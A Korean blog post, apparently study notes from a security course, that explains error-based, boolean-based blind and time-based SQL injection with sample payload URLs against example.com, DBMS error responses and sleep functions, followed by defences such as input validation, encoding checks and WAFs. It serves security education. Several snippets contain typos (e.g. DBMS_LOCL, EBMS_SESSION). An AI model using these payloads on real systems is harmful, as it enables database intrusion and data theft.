정보보안/정보보호기초

SQL Injection 종류와 공격 예시

록스타★ 2024. 7. 26. 11:41
반응형

서론

개발자가 아니더라도 IT관련 업계에서 일을 하면 SQL을 사용하게 된다.

재직중인 기업마다 사용하는 SQL이 다르겠지만 대체로 다 비슷하고 SQL 관련 취약점은 DB가 공격당하기 때문에 매우매우 위험한 공격이다.

 

Injection

- 인터프리터로 전송되는 명령(command, query, format)의 의미를 변경/조작하는 방식으로 애플리케이션 데이터를 전달하는 공격

- 인터프리터는 많은 접근으로 실행되는데, injection 공격이 성공할 경우 데이터 유출이나 애플리케이션 도는 서버의 제어권을 탈취할 수 있다.

 

Injection 공격 유형

- Error-Based SQL Injection은 SQL 쿼리가 실행될 때 오류가 발생하는 경우 DBMS의 에러메시지가 클라이언트측에 노출되는 경우 사용

- SQL 쿼리에 고의적으로 오류를 발생시켜 출력되는 에러 메시지의 내용을 통해 필요한 정보를 획득

 

Error-Based SQL Injection 공격예시

#1 MySQL

<SAMPLE Request>
http://example.com/vul.php?cat=1'

<SAMPLE Response>
Error:You have an error in your SQL Syntax; check the manual that corresponds to your MySQL ser
server version for the right syntax to use near "'at line 1 Warning: mysql_fetch_array()expects
parameter 1 to be resource. Boolean given in /var/www/html/vul.php on line 55

 

 

#2 MSSQL

<SAMPLE Reqeust>
http://example.com/vul.asp?cat=a'

<SAMPLE Response>
Microsoft OLE DB Provider for SQL Server 오류 '80040e14'
문자열 'order by category_id'의 따옴표가 짝이 맞지 않습니다.
/vul.asp, 줄33

 

 

#3 MSSQL

<SAMPLE Request - 인코딩 전>
http://example.com/vul.asp?cat=and db_name()> 1--

<SAMPLE Request - 인코딩 후 >
http://example.com/vul.asp?cat=%27+and+db_name()+%3e+1%2d%2d


<SAMPLE Response>
Microsoft OLE DB Provider for SQL Server 오류'80040e07'
nvarchar 값 'web'을 데이터 형식 int로 변환하지 못했습니다.
/vul.asp, 줄33

 

 

#4 MSSQL

<SAMPLE Request - 인코딩 전>
http://example.com/vul.asp?cat='having 1=1--

<SAMPLE Request - 인코딩 후>
http://example.com/vul.asp?cat=%27+having+1%3d1%2d%2d


<SAMPLE Response>
Microsoft OLE DB Provider for SQL Server 오류 '80040e14'
열 'category.category_id'가 집계 함수나 GROUP BY 절에 없으므로 SELECT 목록에서 사용할 수 없습니다.
/vul.asp, 줄 33

 

 

#5 Oracle

<SAMPLE Request>
http://example.com/vul.jsp?cat=1'

<SAMPLE Response>
org.apache.jasper.JasperException: javax.servlet.ServletException: java.sqlSQLException:
ORA-00911: Invalid character

 

 

 

Conten-Based SQL Injection

- Conten-BasedSQL Injection은 콘텐츠를 기반으로 쿼리의 참과 거짓을 판별하는 방법

- 주로 참과 거짓을 판별하고 Error-Based가 아닌 환경에서 사용하기 때문에 Boolean-Based Blind 방식이라고함

- DBMS에서 에러가 노출되지 않아도 활용가능하며 결과를 바로 확인할 수 있어 Time-Based SQL Injection과 비교했을 때 속도가 빠른 장점이 있음

 

 

Content-Based SQL Injection 공격예시

#1
<Sample>
http://example.com/search.asp?brand=act

<Sample Query>
SELECT * FROM products WHERE brand='act'



#2
<Sample>
http://example.com/search.asp?brand=ac'%2B't

<Sample Query>
SELECT * FROM products WHERE brand ='ac'+'t'

<SAMPLE Query>
SELECT * FROM products WHERE brand ='act'


#3
<Sample>
http://example.com/search.asp?brand = a'%2B'c'%2B't

<Sample Query>
SELECT * FROM products WHERE brand = a'a+'c'+'t'

<Sample Query>
SELECT * FROM products WHERE brand = 'act'



#4
<Sample>
http://example.com/search.asp?brand=a'%2Bcar(99)%2B't

<Sample Query>
SELECT * FROM products WHERE brand = 'a'+char(99)+'t'

<Sample Query>
SELECT * FROM products WHERE brand = 'act'


#5
<MSSQL Get Current User>
SELECT system_user -> dbadmin

<Sample>
SELECT len(system_user) -> 7

<Sample - True>
http://example.com/prod.asp?id=10/(case when(len(system_user)>6) then 1 else 0 end)

<Sample - False>
http://example.com/prod.asp?id=10/(case when(len(system_user)>7) then 1 else 0 end)

 

 

 

Time-Based SQL Injection

- DBMS에서 지원하는 시간 관련된 함수들을 이용하여 참과 거짓에 대한 결과를 응답 시간을 통해서 확인

- DBMS마다 지원하는 시간 관련된 함수들이 조금씩 차이가 있기 때문에 공격이 성공한다면 DBMS의 종류도 유추 가능

- 네트워크 상태에 따라 오차 발생

 

 

Time-Based SQL Injection 공격 예시

#MySQL 

<SLEEP을 활용한 방법>
SELECT SLEEP(5);
지정된 시간(5초) 동안 멈춤


<BENCHMARK를 활용한 방법>
SELECT BENCHMARK(1000000, MD5('A'));
A의 MD5값을 100만 번 계산하게 하여 의도적으로 결과 출력 지연

 

 

#MSSQL

<WAITFOR DELAY를 활용한 방법>
SELECT WAITFOR DELAY '0:0:5';
지정된 시간(5초) 동안 멈춤

 

 

#Oracle

<DBMS_LOCK.SLEEP를 활용한 방법>
BEGIN DBMS_LOCL.SLEEP(5); END;
지정된 시간(5초) 동안 멈춤
DBMS_LOCK을 활용하기 위해서 계정에 DBMS_LOCK 권한이 부여되어 있어야 함

18c 버전부터 DBMS_LOCK.SLEEP은 deprecated 되었음

<DBMS_SESSION.SLEEP를 활용한 방법>
BEGIN EBMS_SESSION.SLEEP(5); END;
지정된 시간(5초)동안 멈춤

 

 

#PostgreSQL

<pg_sleep을 활용한 방법>
SELECT pg_sleep(5);
지정된 시간 (5초)동안 멈춤

 

 

 

SQL Injection 공격 대응

Code-Level Defense

- 입력 유효성 검사

- 인코딩 검증

- 데이터 정규화

- SQL Injection 취약점을 고려한 설계

 

 

입력 유효성 검사

- 화이트리스트 방식 유효성 검사

  > 화이트리스트 방식 유효성 검사는 양호하다고 알려진 입력 값만 수락하는 방법

  > 알려진 유형이나 예상범위에 해당하는 값 또는 크기 및 숫자 범위 등이 이에 해당

 

<화이트리스트 방식 예시>
핸드폰 번호 입력 시 숫자데이터만 입력 받음
핸드폰 번호 입력 시 010과 같은 숫자로 입력되는 값만 입력 받음
생년월일 입력 시 유효한 숫자 값만 입력 받음
신용카드번호 입력 시 카드번호 생성 규칙에 해당하는 값만 입력 받음
이름 입력 시 특수문자를 입력받지 않음

 

 

- 블랙리스트 방식 유효성 검사

  > 블랙리스트 방식 유효성 잘못된 것으로 알려진 값들을 거부하는 검사

  > 일반적으로 공격에 사용되는 문자나 문자열들을 사전 정의하여 차단하는 형태로 이루어짐

<블랙리스트 방식 예시>
SQL Injection에 주로 사용되는 특수문자들을 차단
DBMS 쿼리에 주로 사용되는 단어들을 차단 
DBMS에서 해석될 수 있는 인코딩 문자들을 차단

 

 

- 알려진 값을 이용한 검증

  > 알려진 값을 이용한 검증은 입력 값을 사전에 정의한 유효한 값 목록과 비교하여 목록에 해당 값이 없으면 입력을 거부하는 것

  > 이 방법은 보안상으로는 매우 강력한 방법이지만 실제 환경에서 사용하기엔 여러 문제가 존재하여 자주 사용 되지 않는다.

 

 

인코딩 검증

- 클라이언트에서 전달받은 데이터가 포함된 값이 SQL에 영향을 줄 경우 특수문자(single quote, double quotes0나 기타 문자로 이해 쿼리가 변경되지 않도록 올바르게 인코딩 되었는지 검증

- 쿼리에서 LIKE절을 사용하는 경우 LIKE 와일드카드가 적절하게 인코딩 되었는지 확인

- 전달받은 데이터를 사용하기 전에 해당 데이터에 대해 상황에 맞는 유효성 검사 및 인코딩 검사를 수행

 

 

데이터 정규화

- 클라이언트에서 전달받은 데이터가 정규화되지 않은 경우 보안 기법을 적용하여도 우회될 수 있기 때문에 유효성검사나 인코딩 검증 등을 할 때 데이터 정규화를 진행한 이후에 적용

<Single-Quote (;)인코딩 예시>

인코딩 기법							값
URL Encoding						%27
Double URL Encoding					%2527
Unicode Enconding					%u0027
Unicode Encoding					%u02b9
HTML entity							&apos;
Decimal HTML entity					&#39;
Hexadecimal HTML entity				&#x27;

 

 

 

SQL Injection 취약점을 고려한 설계

- 데이터베이스에서 애플리케이션이 사용하는 권한을 세분화하여 관리

- 데이터 추상화 계층을 이용하여 애플리케이션에서 데이터 접근을 관리

- 설계 시 민감한 정보에 대한 추가 제어를 고려하여 설계

 

 

Platform-Level Defense

- WAF(Web Application Firewall) 사용

- 중요정보 저장 시 암호화

- Stored-Procedures 사용

- 데이터베이스 로그인 분리

- 최소 권한이 부여된 데이터베이스 로그인 계정 사용

 

 

 

 

결론

사실 SQL Injection 공격이 포스팅한 것 이외에도 Union base, Blind, Stored Procedure based, Mass 등 상당히 다양하게 많이 분포되어있다. 지금 서술한 SQL Injection 공격은 키사아카데미 교육을 들으며 배웠던 부분이며, 알고 있었던 것과 몰랐던 부분이 많다. IT 업계에서 일을 하면 데이터베이스를 꼭 사용한다. 엑셀도 데이터베이스라고 볼 수 있지만, SQL도 사용하는 경우가 많기 때문에 알아두면 좋다.

 

 

 

참조

http://www.duduit.co.kr

 

http://www.duduit.co.kr

 

www.duduit.co.kr

 

반응형